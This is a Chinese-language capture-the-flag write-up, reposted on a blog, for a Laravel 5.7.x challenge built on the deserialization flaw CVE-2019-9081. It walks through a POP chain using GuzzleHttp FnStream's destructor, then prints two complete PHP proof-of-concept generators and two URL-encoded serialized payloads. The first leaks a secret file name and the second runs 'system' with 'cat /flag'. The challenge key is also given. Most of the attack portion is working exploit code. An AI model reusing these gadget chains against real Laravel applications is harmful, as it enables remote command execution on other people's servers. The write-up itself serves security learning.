ez_larave1
考察的是Laravel的CVE-2019-9081,影響版本為5.7.x
get到一個新工具:BeyondCompare,用來比較檔案差異的,可以比較方便的看出他做了哪些開發
把5.7.x的原始碼下載下來,比較一下,發現序列化!
有個小繞過,在serialize后隨便加一點東西就可以了,比如serializeabc

與網上的poc不同,他的路由命名為hello了,在hello路由下可以執行反序列化

在網上找到的cve復現,看到漏洞是在PendingCommand.php出現的,跑去看看
果然有資訊

要讀取到這個key,才能進行下一步的操作,得用原生類
下面來構造第一個poc
我們的目的是找出這個.axxx.txt的完整的檔案名
在Filesystem這個類里面使用了FilesystemIterator迭代器遍歷目錄,會把引數里的目錄全遍歷出來
這樣的話我們反序列化的時候去觸發這個__toString()方法把引數傳進去來遍歷當前的目錄,就可以遍歷到.axxxx.txt了

當觸發了__toString方法后就會回傳檔案名,那我們就得找一個能把他回顯出來的東西
在vendor/symfony/http-foundation里面有個Response.php,這里面有一個方法sendContent
這個方法就會列印出content


析構方法

所以我們可以這樣構造一個析構方法,因為前面說了觸發了__toSring后會回傳檔案名
所以我們讓:content的值=這個回傳的檔案名,再去**觸發這個sentContent()**就可以把檔案名給回顯出來了
在原來的cve中,命令的執行會發生在PendingCommand.php的__destruct()里面
但是這題他把&this->run()洗掉了,那我們就得另尋他路來執行到PendingCommand.php中的run()這個函式了

看wp知道,預期解里面__destrusct()入口在FnStream.php里面,有個call_user_func()
這里原來是不能反序列化的,出題人注釋掉了限制__wakeup()所以這里是可以執行命令的
但是這里是有個問題的,這個call_user_func()只能傳入一個引數,那么我們就要考慮利用pop鏈讓他執行某個類內部的方法
至于怎么呼叫類內部的方法:給這個函式傳入一個陣列,第一個值是你想呼叫的類的實體,第二個值是那個類對應的某個方法名

由于他只會執行$_fn_close,那我們就可以直接定義好$_fn_close進行變數的覆寫,讓我們

所以我們大概需要的東西就已經齊全了,屢一下思路
- 實體化Filesystem,想辦法去觸發__toString()方法利用里面的FilesystemIterator原生類
- 實體化Response類,把實體化Filesystem的物件作為字串傳給Response賦值給content
- 利用FnStream來執行Response里面的
sendContent方法,回顯出檔案名
poc1
<?php
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace Symfony\Component\HttpFoundation{
class Response{
public $content;
public function __construct($obj)
{
$this->content = $obj;
}
public function sendContent(){
echo $this->content;
return $this;
}
}
}
namespace Illuminate\Filesystem{
use ErrorException;
use FilesystemIterator;
use Symfony\Component\Finder\Finder;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Filesystem\FileNotFoundException;
class Filesystem{
}
}
namespace{
$text = new \Illuminate\Filesystem\Filesystem();
$obj1 = new \Symfony\Component\HttpFoundation\Response($text);
$arr = array($obj1,"sendContent"); //呼叫__toString()方法
$obj = new \GuzzleHttp\Psr7\FnStream($arr);
echo (serialize($obj));
}
payload:
/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A%22Symfony%5CComponent%5CHttpFoundation%5CResponse%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A32%3A%22Illuminate%5CFilesystem%5CFilesystem%22%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A%22sendContent%22%3B%7D%7D
讀取到key

下一步就是命令執行拿flag了
這里就是CVE-2019-9081里面用的鏈了
但是由于pendingcommand類里面的__destruct()被洗掉,所以還是要借助FnStream.php的__destruct()來執行pendingcommand類里面的run方法
這里就不多說了
poc2
<?php
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace Illuminate\Foundation\Testing{
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
public function __get($key)
{
return $this->attributes[$key];
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
//這里需要兩次使用來回圈獲得以便成功跳過方法,兩次鍵名分別為expectedOutput和expectedQuestions
"expectedOutput"=>array("crispr"=>"0"),
"expectedQuestions"=>array("crispr"=>"1")
)
);
$app = new Illuminate\Foundation\Application();
//通過如下步驟最侄訓得的$this->app[Kernel::class]就是該Application實體
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
$genericuser,
$application,
"system",
array("cat /flag")
);
$obj = new \GuzzleHttp\Psr7\FnStream(array($pendingcommand,"run"));
echo urlencode(serialize($obj));
}
payload:
/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%220%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D&key=W3lc0Me_2_MRCTF_2O2l
拿到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/278414.html
標籤:其他
上一篇:HTML基礎知識(2)
下一篇:滲透測驗思路
